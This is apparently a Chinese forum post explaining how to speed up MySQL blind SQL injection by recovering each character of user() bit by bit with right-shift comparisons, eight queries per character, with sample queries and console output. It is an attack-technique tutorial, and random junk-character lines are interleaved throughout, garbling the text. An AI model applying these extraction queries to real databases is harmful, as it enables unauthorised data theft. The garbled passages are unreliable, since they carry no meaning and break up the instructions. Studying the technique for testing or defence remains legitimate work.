关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
, x) \6 f7 v0 D! U4 ]
# r  E! o0 n4 F

下面将以查询mysql数据库当中user()的第一位为例:
9 J! G" L* E$ X2 l- R5 J9 w7 ~0 Q
6 ~7 m) U9 C" d) h6 o9 o
( c) s. `+ G) |6 R; y+ Y
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



) v1 {2 k& t7 F5 i6 i首先执行如下sql语句:

2 t7 w+ M  v" ~% V, d0 N% Q, q, s
- m' i# @7 N: f; c5 O
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
/ B/ Q! c; a, P' k  o5 }

' k9 e* q: I: ^
9 r/ V" v3 H1 v. O我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
* v& e. {" A/ G


第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
4 `+ h4 s3 o1 e) r
* P$ ?0 y. O5 k7 l% P* `) H! R

如果运算结果为1,说明第一位为0,不为1
, M: ?5 X. g7 d% w1 Z: _7 U


+————————————–+
: l5 h& u4 t- K9 y/ j
| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+
2 H( n" _7 z' \" I, X
) U5 B: c! b& I# ]| 1 |
, R- y" h, P& E
+ y& H" W9 h: r+————————————–+
: U8 B) c+ `2 r6 y
- C9 P5 W* @1 n  p% J1 row in set (0.00 sec)
* m8 ~2 t! e$ R# o  ]' V. y
这样我们就确定这个8bit的ascii的第一位为0

4 ^% p1 c% o0 x& f/ g* K- s
; [$ ~4 X! o$ ]7 ?% ~
第二次我们来做6次右偏移来确定前两位

6 v* M* q  s8 {

前两位可能是01或00,即依然可以与0做比较,
" o# I  `% G4 Y% G3 W# O: C
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

+ G, U$ A' h; i1 h. L| (ascii((substr(user(),1,1))) >> 6)=0 |
& ~6 T/ Q( F6 z8 x
1 v' |( O# Q! @: y6 ]+————————————–+
6 n- _5 _9 H; x# f" x! _
| 0 |

! {: K* @8 G0 s8 {4 |$ T2 O+————————————–+

* J; G7 q$ a3 m  `1 row in set (0.00 sec)

( W% L8 o; a8 t' B" Y
  b7 y) H, n" n8 S# _
结果为0,即第二位为1
. m; X& m! f7 z9 i
; u* [# _4 R& U6 f6 b( c# E
0 Y  p  i! j( f6 ^( m: j( ]0 s0 F
& Q& u! t7 N  |! M! H( m开始猜测前三位为010或011



让我们看看010和011的ascii码是多少

# D3 c$ V2 b3 y( g8 P1 Y; m
: B* S! }# |1 m$ O) O8 F' @
分别查询select b’011′ select b’010′


' x4 M$ M/ ?3 u7 Q
获得结果 010 = 2 011 = 3
8 {3 v  y; w3 r* ?' x
# P9 @: ~: L3 [- }  L* e
. U$ K( s& @& ^; X: y  }8 Y7 M
执行如下sql:


, {" Y$ r$ U8 @& P
% l+ Q* q) g9 _" h4 Qmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
2 N7 S7 Z- C) U+ s* ?! n
& \; x2 x4 n7 c7 |+————————————–+

; X9 k3 x- D# W. g| (ascii((substr(user(),1,1))) >> 5)=2 |
8 \' ^# i% o8 u$ Y
5 D$ d# ?" E9 P  ^- G. ^+————————————–+

$ M% v! {9 g( F5 `6 ?2 ?| 0 |
2 v& H: R; {' m+ v* B- w
+————————————–+
8 C. C, u' \. C: g) T; z3 Z
* c& F, d& O& j0 E; c1 q即前三位不为010,而是011



0 g- Q. c) b' }直到获得最后一位


! z  H. }+ F% s3 B% R% `
, C3 w9 \) j3 c' c  T最终结果为:01110010
9 ?2 z5 R& ^. ^% {% S
& X) h2 l9 `; L- ]. u9 T
# A3 T. q5 |! l; e+ }( v% m
转换一下:


: L& O  b  ]1 A: k
select b’01110010′
) O! {; @2 r$ Y

9 e3 L+ c9 p0 G9 O  L$ A
查询结果


" y* S7 p: _0 J) z3 Q+ f6 N' Y
+————-+
/ D; g+ O+ R' l( d/ F
| b’01110010′ |

8 S  B7 V( R: O+ ]5 f+————-+
9 ]# @0 f1 _9 K" l3 Q3 Y
| r |

+————-+

1 a: c' n0 X' s9 d4 l! f1 row in set (0.00 sec)
4 T- i) a% h* Q- a; F8 {
' r- e/ ?5 }2 A# F& L2 R
$ p! r& o3 E  _: r
7 n% K' a- @1 ^) U$ H0 b' o! G* G这样我们就获得了user()的第一位.其它位依此类推